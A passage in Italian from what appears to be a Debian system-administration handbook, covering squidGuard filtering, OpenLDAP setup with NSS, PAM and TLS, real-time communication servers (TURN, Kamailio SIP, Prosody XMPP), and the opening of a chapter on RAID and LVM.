squid non esegue il filtraggio; questa azione è delegata a squidGuard. Il primo deve essere configurato per interagire con il secondo. Ciò comporta l'aggiunta della seguente direttiva al file /etc/squid/squid.conf:

url_rewrite_program /usr/bin/squidGuard -c /etc/squid/squidGuard.conf

È necessario installare anche il programma CGI /usr/lib/cgi-bin/squidGuard.cgi, utilizzando /usr/share/doc/squidguard/examples/squidGuard.cgi come punto di partenza. Le modifiche richieste a questo script sono le variabili $proxy e $proxymaster (rispettivamente il nome del proxy e l'email di contatto dell'amministratore). Le variabili $image e $redirect devono puntare ad immagini esistenti che rappresentano il rifiuto di una interrogazione.

Il filtro viene abilitato con il comando systemctl reload squid. Tuttavia, per impostazione predefinita, il pacchetto squidguard non esegue alcun filtro ed è compito dell'amministratore definire le regole. Questo può essere fatto creando il file /etc/squid/squidGuard.conf (usando, se necessario, /etc/squidguard/squidGuard.conf.default come modello).

Il database di produzione dev'essere rigenerato con update-squidguard dopo ogni modifica del file di configurazione di squidGuard (oppure di una delle liste di domini o URL che menziona). La sintassi del file di configurazione è documentata nel sito web:

→ http://www.squidguard.org/Doc/configure.html

ALTERNATIVA E2guardian (un fork di DansGuardian)

Il pacchetto e2guardian, un fork di DansGuardian, è un'alternativa a squidguard. Questo software non si limita a gestire una lista nera di URL proibiti, ma può anche effettuare scansione dei contenuti, scansione antivirus e fornire un ampio supporto per l'autenticazione.

11.7. Directory LDAP

OpenLDAP è un'implementazione del protocollo LDAP; in altre parole, si tratta di un database progettato con lo speciale scopo di conservare directory. Il caso d'uso più comune, è l'impiego di un server LDAP per permettere di centralizzare la gestione degli account utente ed i relativi permessi. Inoltre, un database LDAP è facilmente replicato, cosa che permette di impostare sincronizzazioni multiple con altri server LDAP. Quando la rete e la base utenti crescono velocemente, il carico può essere bilanciato tra i vari server.

I dati di LDAP sono strutturati e gerarchici. La struttura è definita attraverso "schemi" che descrivono il tipo di oggetti che il database può contenere, con una lista di tutti i loro possibili attributi. La sintassi usata per riferirsi ad un particolare oggetto nel database è basata su questa struttura, cosa che spiega la sua complessità.

11.7.1. Installazione

Il pacchetto slapd contiene il server OpenLDAP. Il pacchetto ldap-utils include strumenti a riga di comando per interagire con i server LDAP.

L'installazione di slapd necessita normalmente soltanto della password dell'amministratore e il database risultante è improbabile che soddisfi le proprie esigenze. Fortunatamente un semplice dpkg-reconfigure slapd vi permetterà di riconfigurare il database LDAP con maggiori dettagli:

Omettere la configurazione del server OpenLDAP? No, naturalmente vogliamo configurare questo servizio.

Nome di dominio DNS: “falcot.com”.

Nome dell'organizzazione: “Falcot Corp”.

Dev'essere inserita una password amministrativa.

Database di backend da usare: “MDB”.

Eliminare il database in caso di rimozione completa di slapd? No. Non ha senso rischiare di perdere il database in caso di uno sbaglio.

Spostare il vecchio database? Questa domanda è posta solamente quando viene tentata un configurazione ed un database è già presente. Rispondere "si" se si desidera ricominciare da un database pulito, per esempio se si esegue dpkg-reconfigure slapd subito dopo la prima installazione.

FONDAMENTALE Il formato LDIF

Un file LDIF (LDAP Data Interchange Format) è un file di testo portabile che descrive il contenuto di un database LDAP (o di una sua porzione): può quindi essere usato per inserire dati in qualsiasi altro server LDAP.

Un database minimale è attualmente configurato, come dimostra la seguente richiesta:

$ ldapsearch -x -b dc=falcot,dc=com # extended LDIF # # LDAPv3 # base <dc=falcot,dc=com> with scope subtree # filter: (objectclass=*) # requesting: ALL # # falcot.com dn: dc=falcot,dc=com objectClass: top objectClass: dcObject objectClass: organization o: Falcot Corp dc: falcot # admin, falcot.com dn: cn=admin,dc=falcot,dc=com objectClass: simpleSecurityObject objectClass: organizationalRole cn: admin description: LDAP administrator # search result search: 2 result: 0 Success # numResponses: 2 # numEntries: 1

La richiesta restituisce due oggetti: l'organizzazione stessa e l'utente amministrativo.

11.7.2. Riempire la directory

Dato che un database vuoto non è particolarmente utile, ci apprestiamo ad inserire al suo interno tutte le directory esistenti; inclusi i database degli utenti, dei gruppi, dei servizi e degli host.

Il pacchetto migrationtools fornisce un insieme di script dedicati ad estrarre i dati dalle directory standard di Unix (/etc/passwd, /etc/group, /etc/services, /etc/hosts e così via), convertire questi dati ed inserirli all'interno del database LDAP.

Dopo averlo installato il pacchetto il file /etc/migrationtools/migrate_common.ph dev'essere modificato. Le opzioni IGNORE_UID_BELOW e IGNORE_GID_BELOW devono essere abilitate (è sufficiente decommentarle), e DEFAULT_MAIL_DOMAINDEFAULT_BASE devono essere aggiornate.

La reale operazione di migrazione è gestita dal comando migrate_all_online.sh, come segue:

# cd /usr/share/migrationtools # PERL5LIB="${PERL5LIB}:/etc/migrationtools" LDAPADD="/usr/bin/ldapadd -c" ETC_ALIASES=/dev/null ./migrate_all_online.sh

migrate_all_online.sh rivolge alcune domande a proposito del database LDAP nel quale si vogliono migrare i dati. Tabella 11.1 riassume le risposte fornite nel caso d'uso della Falcot.

Tabella 11.1. Le risposte fornite alle domande poste dallo script migrate_all_online.sh

Domanda | Risposta
X.500 naming context | dc=falcot,dc=com
Nome host del server LDAP | localhost
Manager DN | cn=admin,dc=falcot,dc=com
Bind credentials | la password amministrativa
Create DUAConfigProfile | no

Da notare che è stata estesa la variabile PERL5LIB. Questo è dovuto al bug report Debian #982666.

→ https://bugs.debian.org/982666

Come si sarà notato è stata deliberatamente ignorata la migrazione del file /etc/aliases dato che lo schema standard, come fornito da Debian, non include le strutture che utilizza questo script per descrivere gli alias delle email. Se si dovessero integrare questi dati nella directory, il file /etc/ldap/schema/misc.schema dovrebbe essere aggiunto allo schema standard.

STRUMENTO Consultare una directory LDAP

Il comando jxplorer (contenuto nell'omonimo pacchetto) è uno strumento grafico per navigare e modificare un database LDAP. È uno strumento interessante che garantisce all'amministratore una buona panoramica sulla struttura gerarchica dei dati LDAP.

Notare altresì l'uso dell'opzione -c con il comando ldapadd: questa opzione richiede che l'elaborazione non si interrompa in caso di errori. Utilizzare questa opzione è necessario poiché convertire il database /etc/services genera spesso qualche errore che può essere ignorato senza conseguenze.

11.7.3. Gestire gli account con LDAP

Ora il database LDAP contiene diverse informazioni utili ed è giunto il momento di sfruttarle. Questa sezione si concentra su come configurare un sistema Linux per far sì che le varie directory di sistema utilizzino il database LDAP.

11.7.3.1. Configurare NSS

Il sistema NSS (Name Service Switch, si veda il riquadro APPROFONDIMENTO NSS ed i database di sistema) è un sistema modulare progettato per definire o recuperare informazioni sulle directory di sistema. Utilizzare LDAP come sorgente di dati per NSS richiede l'installazione del pacchetto libnss-ldap. La sua installazione pone alcune domande; le risposte sono riassunte nella Tabella 11.2.

Tabella 11.2. Configurare il pacchetto libnss-ldap:

Domanda | Risposta
URI (Uniform Resource Identifier) del server LDAP | ldapi://ldap.falcot.com
Il nome distintivo per la base di ricerca | dc=falcot,dc=com
La versione di LDAP da utilizzare | 3
L'account LDAP per root | cn=admin,dc=falcot,dc=com
La password per l'account root di LDAP | la password amministrativa
Permettere all'account amministrativo LDAP di agire come root? | yes
Il database LDAP deve richiedere il login? | no

Il file /etc/nsswitch.conf deve quindi essere modificato per poter configurare NSS in modo che utilizzi il modulo ldap appena installato. Si può usare l'esempio fornito in /usr/share/doc/libnss-ldap/examples/nsswitch.ldap o modificare la configurazione esistente.

Esempio 11.23. Il file /etc/nsswitch.conf

#ident $Id: nsswitch.ldap,v 2.4 2003/10/02 02:36:25 lukeh Exp $ # # An example file that could be copied over to /etc/nsswitch.conf; it # uses LDAP conjunction with files. # # "hosts:" and "services:" in this file are used only if the # /etc/netconfig file has a "-" for nametoaddr_libs of "inet" transports. # the following lines obviate the "+" entry in /etc/passwd and /etc/group. passwd: files ldap shadow: files ldap group: files ldap # consult DNS first, we will need it to resolve the LDAP host. (If we # can't resolve it, we're in infinite recursion, because libldap calls # gethostbyname(). Careful!) hosts: dns ldap # LDAP is nominally authoritative for the following maps. services: ldap [NOTFOUND=return] files networks: ldap [NOTFOUND=return] files protocols: ldap [NOTFOUND=return] files rpc: ldap [NOTFOUND=return] files ethers: ldap [NOTFOUND=return] files # no support for netmasks, bootparams, publickey yet. netmasks: files bootparams: files publickey: files automount: files # I'm pretty sure nsswitch.conf is consulted directly by sendmail, # here, so we can't do much here. Instead, use bbense's LDAP # rules ofr sendmail. aliases: files sendmailvars: files # Note: there is no support for netgroups on Solaris (yet) netgroup: ldap [NOTFOUND=return] files

Il modulo ldap è generalmente inserito prima degli altri, e sarà di conseguenza richiamato per primo. L'unica eccezione degna di nota è il servizio hosts dato che contattare il server LDAP richiede prima la consultazione del DNS (per risolvere ldap.falcot.com). Senza questa eccezione, la richiesta cercherebbe di contattare il server LDAP; questo causerebbe un tentativo di risoluzione del nome per il server LDAP, e così via in un ciclo infinito.

Se il server LDAP dev'essere considerato autoritativo (e i file locali utilizzati dal modulo files ignorati) i servizi possono essere configurati con la seguente sintassi:

servizio: ldap [NOTFOUND=return] files.

Se l'entità richiesta non esiste nel database LDAP, la richiesta restituirà una risposta "non esistente" anche se la risorsa esiste in uno dei file locali: questi file locali saranno utilizzati unicamente quando il servizio LDAP non è raggiungibile.

11.7.3.2. Configurare PAM

Questa sezione descrive una configurazione di PAM (si veda il riquadro DIETRO LE QUINTE /etc/environment e /etc/default/locale) che consentirà alle applicazioni di eseguire le autenticazioni richieste attraverso il database LDAP.

ATTENZIONE Rischio di rendere l'autenticazione inutilizzabile

Cambiare la configurazione standard di PAM utilizzata da vari programmi è un'operazione delicata. Un errore può portare all'impossibiltà di autenticarsi ovvero potrebbe impedire il login. Mantenere una shell aperta con root è una buona precauzione. Se si verificano errori potranno sempre essere corretti ed i servizi riavviati con uno sforzo minimo.

Il modulo LDAP per PAM è fornito dal pacchetto libpam-ldap. L'installazione di questo pacchetto pone alcune domande molto simili a quelle viste con libnss-ldap: alcuni parametri di configurazione (come l'URI del server LDAP) sono in realtà persino condivisi con il pacchetto libnss-ldap. Le risposte sono riassunte in Tabella 11.3.

Tabella 11.3. Configurazione di libpam-ldap

Domanda | Risposta
Permettere all'account amministrativo LDAP di agire come root? | Sì. Questo ci consente di utilizzare il comando passwd per cambiare le password conservate nel database LDAP.
Il database LDAP richiede il login? | no
L'account LDAP per root: | cn=admin,dc=falcot,dc=com
Password amministrativa LDAP: | La password amministrativa del database LDAP
Algoritmo di crittografia locale da utilizzare per le password: | crypt
Profili PAM da abilitare: | L'autenticazione LDAP è tra i profili abilitati

L'installazione di libpam-ldap adatta automaticamente la configurazione predefinita di PAM contenuta nei file /etc/pam.d/common-auth, /etc/pam.d/common-password e /etc/pam.d/common-account. Questo meccanismo utilizza lo strumento dedicato pam-auth-update (fornito con il pacchetto libpam-runtime). Questo strumento può anche essere eseguito dall'amministratore qualora desideri abilitare o disabilitare dei moduli PAM.

11.7.3.3. Mettere al sicuro lo scambio dati di LDAP

In via predefinita il protocollo LDAP transita sulla rete come testo in chiaro: questo include le password (cifrate). Poiché le password cifrate possono essere estratte dalla rete rimangono vulnerabili ad attacchi a dizionario. Questo può essere evitato utilizzando uno strato di cifratura addizionale: abilitare questo strato è l'argomento di questa sezione.

11.7.3.3.1. Configurazione del server

Il primo passo richiede la creazione di una coppia di chiavi (comprensiva di chiave pubblica e chiave privata) per il server LDAP. Gli amministratori della Falcot riutilizzano easy-rsa per generarla (vedere Sezione 10.2.2, «Infrastruttura a chiave pubblica: easy-rsa»). L'esecuzione di ./easyrsa build-server-full ldap.falcot.com nopass richiederà il "nome comune". La risposta deve essere il nome di dominio pienamente qualificato del server LDAP; nel nostro caso ldap.falcot.com.

Questo comando crea un certificato nel file pki/issued/ldap.falcot.com.crt; la corrispondente chiave privata è conservata nel file pki/private/ldap.falcot.com.key.

Ora questi tasti devono essere installati nella loro posizione standard, e dobbiamo fare in modo che il file privato sia leggibile dal server LDAP che gira sotto l'identità utente openldap:

# adduser openldap ssl-cert Adding user `openldap' to group `ssl-cert' ... Adding user openldap to group ssl-cert Done. # mv pki/private/ldap.falcot.com.key /etc/ssl/private/ldap.falcot.com.key # chown root.ssl-cert /etc/ssl/private/ldap.falcot.com.key # chmod 0640 /etc/ssl/private/ldap.falcot.com.key # mv pki/issued/ldap.falcot.com.crt /etc/ssl/certs/ldap.falcot.com.pem # chown root.root /etc/ssl/certs/ldap.falcot.com.pem # chmod 0644 /etc/ssl/certs/ldap.falcot.com.pem

Bisogna anche dire al demone slapd di usare queste chiavi per la crittografia. La configurazione del server LDAP è gestita dinamicamente: la configurazione può essere aggiornata con le normali operazioni LDAP sulla gerarchia di oggetti cn=config, ed il server aggiornerà /etc/ldap/slapd.d in tempo reale per rendere la configurazione persistente. ldapmodify è quindi lo strumento giusto per aggiornare la configurazione:

Esempio 11.24. Configurare slapd per la cifratura

# cat >ssl.ldif <<END dn: cn=config changetype: modify add: olcTLSCertificateKeyFile olcTLSCertificateKeyFile: /etc/ssl/private/ldap.falcot.com.key - add: olcTLSCertificateFile olcTLSCertificateFile: /etc/ssl/certs/ldap.falcot.com.pem END # ldapmodify -Y EXTERNAL -H ldapi:/// -f ssl.ldif SASL/EXTERNAL authentication started SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth SASL SSF: 0 modifying entry "cn=config" # systemctl restart slapd.service # ldapsearch -Y EXTERNAL -H ldapi:/// -b cn=config -s base | grep TLS SASL/EXTERNAL authentication started SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth SASL SSF: 0 olcTLSCertificateFile: /etc/ssl/certs/ldap.falcot.com.pem olcTLSCertificateKeyFile: /etc/ssl/certs/ldap.falcot.com.key

STRUMENTO ldapvi per modificare una directory LDAP

Con il comando ldapvi, è possibile visualizzare un output LDIF di qualsiasi parte della directory LDAP, apportare alcune modifiche nell'editor di testo, e lasciare che lo strumento faccia le operazione LDAP per voi.

E' quindi un modo conveniente per aggiornare la configurazione del server LDAP, semplicemente modificando la gerarchia cn=config.

# ldapvi -Y EXTERNAL -h ldapi:/// -b cn=config

L'ultimo passo per abilitare la cifratura richiede la modifica della variabile SLAPD_SERVICES nel file /etc/default/slapd. Inoltre, per essere prudenti, si renderà necessario disabilitare l'LDAP non sicuro.

Esempio 11.25. Il file /etc/default/slapd

# Default location of the slapd.conf file or slapd.d cn=config directory. If # empty, use the compiled-in default (/etc/ldap/slapd.d with a fallback to # /etc/ldap/slapd.conf). SLAPD_CONF= # System account to run the slapd server under. If empty the server # will run as root. SLAPD_USER="openldap" # System group to run the slapd server under. If empty the server will # run in the primary group of its user. SLAPD_GROUP="openldap" # Path to the pid file of the slapd server. If not set the init.d script # will try to figure it out from $SLAPD_CONF (/etc/ldap/slapd.d by # default) SLAPD_PIDFILE= # slapd normally serves ldap only on all TCP-ports 389. slapd can also # service requests on TCP-port 636 (ldaps) and requests via unix # sockets. # Example usage: # SLAPD_SERVICES="ldap://127.0.0.1:389/ ldaps:/// ldapi:///" SLAPD_SERVICES="ldaps:/// ldapi:///" # If SLAPD_NO_START is set, the init script will not start or restart # slapd (but stop will still work). Uncomment this if you are # starting slapd via some other means or if you don't want slapd normally # started at boot. #SLAPD_NO_START=1 # If SLAPD_SENTINEL_FILE is set to path to a file and that file exists, # the init script will not start or restart slapd (but stop will still # work). Use this for temporarily disabling startup of slapd (when doing # maintenance, for example, or through a configuration management system) # when you don't want to edit a configuration file. SLAPD_SENTINEL_FILE=/etc/ldap/noslapd # For Kerberos authentication (via SASL), slapd by default uses the system # keytab file (/etc/krb5.keytab). To use a different keytab file, # uncomment this line and change the path. #export KRB5_KTNAME=/etc/krb5.keytab # Additional options to pass to slapd SLAPD_OPTIONS=""

11.7.3.3.2. Configurare il client

Sul client, la configurazione per i moduli libpam-ldap e libnss-ldap deve essere modificata per usare un URI ldaps://.

I cliet LDAP devono anche essere in grado di autenticare il server. In un'infrastruttura a chiave pubblica X.509, i certificati pubblici sono firmati con una chiave di un'autorità di certificazione (CA). Con easy-rsa, gli amministratori Falcot hanno creato la propria CA ed ora hanno bisogno di configurare il sistema per rendere fidate (trusted) le firme della CA di Falcot. Questo può essere fatto mettendo il certificato della CA in /usr/local/share/ca-certificates ed eseguendo update-ca-certificates.

# cp pki/ca.crt /usr/local/share/ca-certificates/falcot.crt # update-ca-certificates Updating certificates in /etc/ssl/certs... 1 added, 0 removed; done. Running hooks in /etc/ca-certificates/update.d... Adding debian:falcot.pem done. done.

Ultimo ma non meno importante, l'URI LDAP predefinito e la base DN predefinita utilizzati dai vari strumenti della riga di comando possono essere modificati in /etc/ldap/ldap.conf. Ciò farà risparmiare un bel po' di battitura.

Esempio 11.26. Il file /etc/ldap/ldap.conf

# # LDAP Defaults # # See ldap.conf(5) for details # This file should be world readable but not world writable. #BASE dc=example,dc=com #URI ldap://ldap.example.com ldap://ldap-provider.example.com:666 #SIZELIMIT 12 #TIMELIMIT 15 #DEREF never # TLS certificates (needed for GnuTLS) TLS_CACERT /etc/ssl/certs/ca-certificates.crt

11.8. Servizi di Comunicazione Real-Time

I servizi Real-Time Communication (RTC - Comunicazione in Tempo Reale) includono voce, video/webcam, instant messaging (IM - Messaggistica Istantanea) e condivisione desktop. Questo capitolo fornisce una breve introduzione a tre dei servizi necessari per il funzionamento di RTC, tra cui un server TURN, un server SIP e un server XMPP. I dettagli completi di come pianificare, installare e gestire questi servizi sono disponibili nella Guida rapida Real-Time Communications, che include esempi specifici per Debian.

→ https://rtcquickstart.org

Sia SIP e XMPP in grado di fornire le stesse funzionalità. SIP è un po' più conosciuto per voce e video mentre XMPP è tradizionalmente considerato come un protocollo di messaggistica istantanea. In realtà, entrambi possono essere utilizzati per qualsiasi di questi scopi. Per massimizzare le opzioni di connettività, si consiglia di eseguire entrambi in parallelo.

Questi servizi si basano su certificati X.509 sia per l'autenticazione che per la riservatezza. Per ulteriori informazioni, vedere Sezione 10.2, «Certificati X.509».

11.8.1. Impostazioni DNS per i servizi RTC

I servizi RTC richiedono record DNS SVR e NAPTR. Un esempio di configurazione che può essere collocato nel file di zona per falcot.com (vedere abcge Esempio 10.13, «Estratto da /etc/bind/db.falcot.com»:

; the server where everything will run server1 IN A 198.51.100.19 server1 IN AAAA 2001:DB8:1000:2000::19 ; IPv4 only for TURN for now, some clients are buggy with IPv6 turn-server IN A 198.51.100.19 ; IPv4 and IPv6 addresses for SIP sip-proxy IN A 198.51.100.19 sip-proxy IN AAAA 2001:DB8:1000:2000::19 ; IPv4 and IPv6 addresses for XMPP xmpp-gw IN A 198.51.100.19 xmpp-gw IN AAAA 2001:DB8:1000:2000::19 ; DNS SRV and NAPTR for STUN / TURN _stun._udp IN SRV 0 1 3467 turn-server.falcot.com. _turn._udp IN SRV 0 1 3467 turn-server.falcot.com. @ IN NAPTR 10 0 "s" "RELAY:turn.udp" "" _turn._udp.falcot.com. ; DNS SRV and NAPTR records for SIP _sips._tcp IN SRV 0 1 5061 sip-proxy.falcot.com. @ IN NAPTR 10 0 "s" "SIPS+D2T" "" _sips._tcp.falcot.com. ; DNS SRV records for XMPP Server and Client modes: _xmpp-client._tcp IN SRV 5 0 5222 xmpp-gw.falcot.com. _xmpp-server._tcp IN SRV 5 0 5269 xmpp-gw.falcot.com.

11.8.2. Server TURN

TURN è un servizio che aiuta i clienti dietro router NAT e firewall a scoprire il modo più efficace per comunicare con altri clienti e per trasmettere i flussi multimediali se non può essere trovato nessun percorso multimediale diretto. E' vivamente consigliato che il server TURN sia installato prima che tutti gli altri servizi RTC vengano offerti agli utenti finali.

TURN e il relativo protocollo ICE sono degli standard aperti. Per beneficiare di questi protocolli, massimizzando la connettività e riducendo al minimo la frustrazione degli utenti, è importante assicurarsi che tutto il software client supporti ICE e TURN.

Perchè l'algoritmo ICE lavori in modo efficace, il server deve avere due indirizzi IPv4 pubblici.

Installare il pacchetto coturn e modificare il file di configurazione /etc/turnserver.conf. Per impostazione predefinita, in /var/db/turndb è configurato un database SQLite per le impostazioni degli account utente ma, volendo, è possibile configurare PostgreSQL, MySQL o Redis. La cosa più importante da fare è inserire gli indirizzi IP del server.

Il server può essere avviato eseguendo turnserver dal pacchetto coturn. Vogliamo che il server sia un servizio di sistema avviato automaticamente. Questo è il comportamento predefinito utilizzando systemd. Se si usa il vecchio SysVinit è necessario modificare il file /etc/default/coturn come segue:

# # Uncomment it if you want to have the turnserver running as # an automatic system service daemon # TURNSERVER_ENABLED=1

Per impostazione predefinita, il server TURN utilizza l'accesso anonimo. È necessario aggiungere gli utenti che si desidera utilizzare:

# turnadmin -a -u roland -p secret_password -r falcot.com # turnadmin -A -u admin -p secret_password

Si usa l'argomento -a per aggiungere un utente normale e -A per aggiungere un utente amministratore.

11.8.3. Proxy Server SIP

Un server proxy SIP gestisce le connessioni SIP in entrata e in uscita tra le altre organizzazioni, fornitori di SIP trunking, PBXes SIP come Asterisk, telefoni SIP, softphone SIP-based e applicazioni WebRTC.

E' altamente raccomandato installare e configurare il proxy SIP prima di tentare una configurazione SIP PBX. Il proxy SIP normalizza la magior partedel traffico che raggiunge il PBX e fornisce una maggiore connettività e resilienza.

11.8.3.1. Installare il proxy SIP

Installare il pacchetto kamailio e quello per il backend del database. Gli amministratori di Falcot hanno scelto MySQL, quindi installano kamailio-mysql-modules e mariadb-server. Il file /etc/kamailio/kamctlrc contiene la configurazione per gli strumenti di controllo kamctl e kamdbctl. È necessario modificare il SIP_DOMAIN impostandolo al proprio dominio del servizio SIP e DBENGINE impostandolo a MySQL, ma è anche possibile utilizzare un altro backend di database.

[...] ## your SIP domain SIP_DOMAIN=sip.falcot.com ## chrooted directory # CHROOT_DIR="/path/to/chrooted/directory" ## database type: MYSQL, PGSQL, ORACLE, DB_BERKELEY, DBTEXT, or SQLITE # by default none is loaded # # If you want to setup a database with kamdbctl, you must at least specify # this parameter. DBENGINE=MYSQL [...]

Ora ci concentriamo sul file di configurazione /etc/kamailio/kamailio.cfg. Falcot ha bisogno dell'autenticazione e della posizione persistente dell'utente, quindi aggiungeremo le seguenti direttive #!define all'inizio del file:

#!KAMAILIO # # Kamailio (OpenSER) SIP Server v5.2 - default configuration script # - web: https://www.kamailio.org # - git: https://github.com/kamailio/kamailio #!define WITH_MYSQL #!define WITH_AUTH #!define WITH_USRLOCDB [...]

Kamailio ha bisogno di una struttura di database che possiamo creare eseguendo, come root, kamdbctl create. Infine, possiamo aggiungere alcuni utenti con kamctl.

# kamdbctl create [...] # kamctl add roland secret_password

Una volta che tutto è correttamente configurato, è possibile avviare o riavviare il servizio con systemctl restart kamailio e connettersi con un client SIP fornendo l'indirizzo IP e la porta (5090 è quella predefinita). Gli utenti hanno i seguenti id: roland@sip.falcot.com, e possono accedere utilizzando un client (vedere Sezione 13.9, «Software Comunicazioni Real-Time»).

11.8.4. Server XMPP

Un server XMPP gestisce la connettività tra gli utenti XMPP locali e gli utenti XMPP in altri domini su Internet pubblico.

VOCABOLARIO XMPP o Jabber?

XMPP è a volte indicato come Jabber. In realtà, Jabber è un marchio e XMPP è il nome ufficiale dello standard.

prosody è un popolare server XMPP che opera in modo affidabile su server Debian.

11.8.4.1. Installa il server XMPP

Installare il pacchetto prosody.

Rivedere il file di configurazione /etc/prosody/prosody.cfg.lua. La cosa più importante da fare è inserire i JIDs degli utenti che hanno il permesso di gestire il server.

admins = { "joe@falcot.com" }

E' necessario un file di configurazione individuale per ogni dominio. Copiare l'esempio da /etc/prosody/conf.avail/example.com.cfg.lua ed usarlo come punto di partenza. Qui è falcot.com.cfg.lua:

VirtualHost "falcot.com" enabled = true ssl = { key = "/etc/ssl/private/falcot.com.key"; certificate = "/etc/ssl/certs/falcot.com.pem"; } -- Set up a MUC (multi-user chat) room server on conference.example.com: Component "conference.falcot.com" "muc"

Per abilitare il dominio ci deve essere un collegamento simbolico a/etc/prosody/conf.d/. Crearlo in questo modo:

# ln -s /etc/prosody/conf.avail/falcot.com.cfg.lua /etc/prosody/conf.d/

Riavvia il servizio per usare la nuova configurazione.

11.8.4.2. Gestione del server XMPP

Alcune operazioni di gestione possono essere eseguite utilizzando l'utilità da riga di comando prosodyctl . Per esempio, per aggiungere l'account amministratore specificato in /etc/prosody/prosody.cfg.lua:

# prosodyctl adduser joe@falcot.com

Per ulteriori dettagli su come personalizzare la configurazione, consultare la documentazione online di Prosody.

11.8.5. Servizi in esecuzione sulla porta 443

Alcuni amministratori preferiscono eseguire tutti i loro servizi RTC sulla porta 443. Ciò consente agli utenti di collegarsi da postazioni remote come alberghi e aeroporti dove altre porte potrebbero essere bloccate o il traffico Internet venire instradato attraverso server proxy HTTP.

Per utilizzare questa strategia, ogni servizio (SIP, XMPP e TURN) ha bisogno di un indirizzo IP diverso. Tutti i servizi possono essere ancora sullo stesso host poiché Linux supporta più indirizzi IP su un singolo host. Il numero della porta, 443, deve essere specificato nel file di configurazione per ogni processo e anche nei record DNS SRV.

11.8.6. Aggiungere WebRTC

La Falcot vuole consentire ai clienti di effettuare chiamate telefoniche direttamente dal sito web. Gli amministratori Falcot vogliono anche usare WebRTC come parte del loro piano di disaster recovery, possono utilizzare per uso personale il browser web a casa per accedere al sistema telefonico aziendale e lavorare normalmente in caso di emergenza.

IN PRATICA Provare WebRTC

Se non si è provato WebRTC prima, ci sono diversi siti che danno una dimostrazione online e strutture di prova.

→ https://sip5060.net/test-calls

WebRTC è una tecnologia in rapida evoluzione ed è essenziale per utilizzare i pacchetti della distribuzione Testing. Un'altra opzione è quella di compilare il software.

WebRTC, un software libero sviluppato da Google

→ https://webrtc.org

, utilizza un'API semplice per fornire RTC a browser ed applicazioni mobili.

Un approccio molto flessibile è l'utilizzo dell'implementazione WebRTC di GStreamer. Essa consente di realizzare applicazioni multimediali basate su pipeline permettendo lo sviluppo di applicazioni interessanti ed altamente efficienti. Un buon punto di partenza è la seguente demo di Centricular, la principale azienda che lo sviluppa:

→ https://gitlab.freedesktop.org/gstreamer/gst-examples

Siti web click-to-call più avanzati utilizzano generalmente script lato server per generare dinamicamente il file config.js. Il codice sorgente di DruCall dimostra come farlo con PHP.

Questo capitolo ha unicamente dato dimostrazione di una piccola parte dei software disponibili per i sistemi server: tuttavia molti dei servizi di rete comuni sono stati descritti. Ora è tempo di passare ad un capitolo ancora più tecnico: scenderemo ancor più in profondità su alcuni concetti, descrivendo implementazioni massive e virtualizzazione.

Capitolo 12. Amministrazione avanzata

Questo capitolo rivede alcuni aspetti già descritti in precedenza, ma da una diversa prospettiva: invece di installare una singola macchina, si studiano sistemi di allestimento più vasti; invece di creare volumi RAID o LVM durante l'installazione, si descrive la procedura per farlo a mano in modo da poter rivedere in seguito le scelte iniziali. Infine, si discutono strumenti di monitoraggio e tecniche di virtualizzazione. Di conseguenza, questo capitolo è più orientato agli amministratori professionisti e meno ai singoli individui responsabili della rete di casa propria.

12.1. RAID e LVM

Capitolo 4, Installazione ha presentato queste tecnologie dal punto di vista dell'installatore e di come questi li integrava per rendere il loro allestimento facile fin dall'inizio. Dopo l'installazione iniziale, un amministratore deve poter far fronte alle mutevoli necessità di spazio disco senza dover ricorrere a una re-installazione costosa. Deve pertanto padroneggiare gli strumenti richiesti per manipolare volumi RAID e LVM.

RAID e LVM sono entrambe tecniche per astrarre i volumi montati dalle loro controparti fisiche (gli effettivi dischi fissi o le loro partizioni); il primo garantisce la sicurezza e la disponibilità dei dati in caso di guasto hardware introducendo la ridondanza, l'ultimo rende la gestione dei dati più flessibile e indipendente dall'effettiva dimensione dei dischi sottostanti. In entrambi i casi, il sistema acquisisce nuovi dispositivi a blocchi, che possono essere usati per creare file system o spazio di swap, senza necessariamente essere mappati su un unico disco fisico. RAID e LVM provengono da ambienti molto diversi, ma le loro funzionalità spesso si possono sovrapporre, ed è il motivo per cui spesso vengono menzionati insieme.

PROSPETTIVA Btrfs combina LVM and RAID

Mentre LVM e RAID sono due sottosistemi distinti del kernel che si interpongono fra i dispositivi disco a blocchi e i loro file system, btrfs è un file system, sviluppato inizialmente da Oracle, che si propone di combinare le funzionalità di LVM e RAID e molto altro.

→ https://btrfs.wiki.kernel.org/

Fra le funzionalità degne di nota vi sono la capacità di fare un'istantanea di un file system in ogni momento. Questa copia istantanea all'inizio non occupa spazio su disco, in quanto i dati vengono duplicati solo quando una delle copie viene modificata. Il file system inoltre gestisce la compressione trasparente dei file e dei codici di controllo assicurano l'integrità di tutti i dati memorizzati.

Sia nel RAID che nell'LVM, il kernel fornisce un file di device a blocchi, simile a quelli corrispondenti a un disco fisso o a una partizione. Quando un'applicazione o un'altra parte del kernel richiede l'accesso a un blocco di questo device, il sottosistema appropriato dirige il blocco allo strato fisico di competenza. A seconda della configurazione, questo blocco può essere memorizzato su uno o più dischi fisici e la sua posizione fisica potrebbe non essere direttamente correlata alla posizione del blocco nel device logico.

12.1.1. RAID software

RAID significa Redundant Array of Independent Disks (array ridondante di dischi indipendenti). Lo scopo di questo sistema è di impedire la perdita di dati e garantire la disponibilità in caso di guasto di un disco fisso. Il principio generale è molto semplice: i dati sono memorizzati su diversi dischi fisici piuttosto che su uno solo, con un livello di ridondanza configurabile. A seconda della quantità di ridondanza e anche in caso di guasto inatteso di un disco, i dati possono essere ricostruiti dai dischi rimanenti, senza alcuna perdita.

CULTURA Indipendente o a poco prezzo?

La I in RAID all'inizio stava per inexpensive (a poco prezzo), perché il RAID permetteva un drastico aumento della sicurezza dei dati senza richiedere investimenti in costosi dischi di fascia alta. Tuttavia, probabilmente per questioni di immagine, oggi è più consueto riferirsi ad essa come independent (indipendente), che non ha quel sapore insipido di economicità.

